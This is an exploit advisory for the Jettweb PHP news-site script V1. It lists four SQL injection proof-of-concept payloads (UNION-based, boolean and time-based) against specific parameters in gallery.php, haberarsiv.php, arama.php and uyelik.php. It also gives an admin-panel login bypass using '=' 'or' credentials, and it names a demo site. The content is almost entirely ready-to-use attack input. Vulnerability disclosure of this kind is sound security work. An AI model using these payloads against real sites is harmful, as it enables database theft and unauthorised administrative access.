Jettweb PHP Hazir Haber Sitesi Scripti 1 SQL Injection

`# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V1 - Multiple Vulnerabilities  
# Date: 23.03.2019  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://jettweb.net/u-5-php-hazir-haber-sitesi-scripti-v1.html  
# Demo Site: http://haberv1.proemlaksitesi.net  
# Version: V1  
# Tested on: Kali Linux  
# CVE: N/A  
  
----- PoC 1: SQLi -----  
  
Request: http://localhost/[PATH]/gallery.php?gallery_id=1  
Vulnerable Parameter: gallery_id (GET)  
Payload: gallery_id=1' UNION ALL SELECT  
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x63565549564d5a424e57746d6d62614e4f6e4a7559666a744d50557776636e4e6a6952504d494444,0x71626a7a71)--  
UsCA  
  
  
----- PoC 2: SQLi -----  
  
Request: http://localhost/[PATH]/haberarsiv.php?cid=1  
Vulnerable Parameter: cid (POST)  
Payload: cid=1' UNION ALL SELECT  
CONCAT(0x7162707a71,0x506a594d7a4f6c64674249466d746d6c5751486e786745667369685263624c6445654f665a4f4146,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
ihPG  
  
----- PoC 3: SQLi -----  
  
Request: http://localhost/[PATH]/arama.php?T1=btnVote=G%C3%B6nder&ara=1  
Vulnerable Parameter: poll (POST)  
Payload:  
1&option=2&poll=-1'%20OR%203*2*1=6%20AND%20000889=000889%20--%20&stage=  
  
----- PoC 4: SQLi -----  
  
Request: http://localhost/[PATH]/uyelik.php  
Vulnerable Parameter: option (POST)  
Payload:  
btnVote=G%C3%B6nder&option=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&poll=1&stage=2  
  
  
----- PoC 5: Authentication Bypass -----  
  
Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php  
Username: '=' 'or'  
Password: '=' 'or'  
`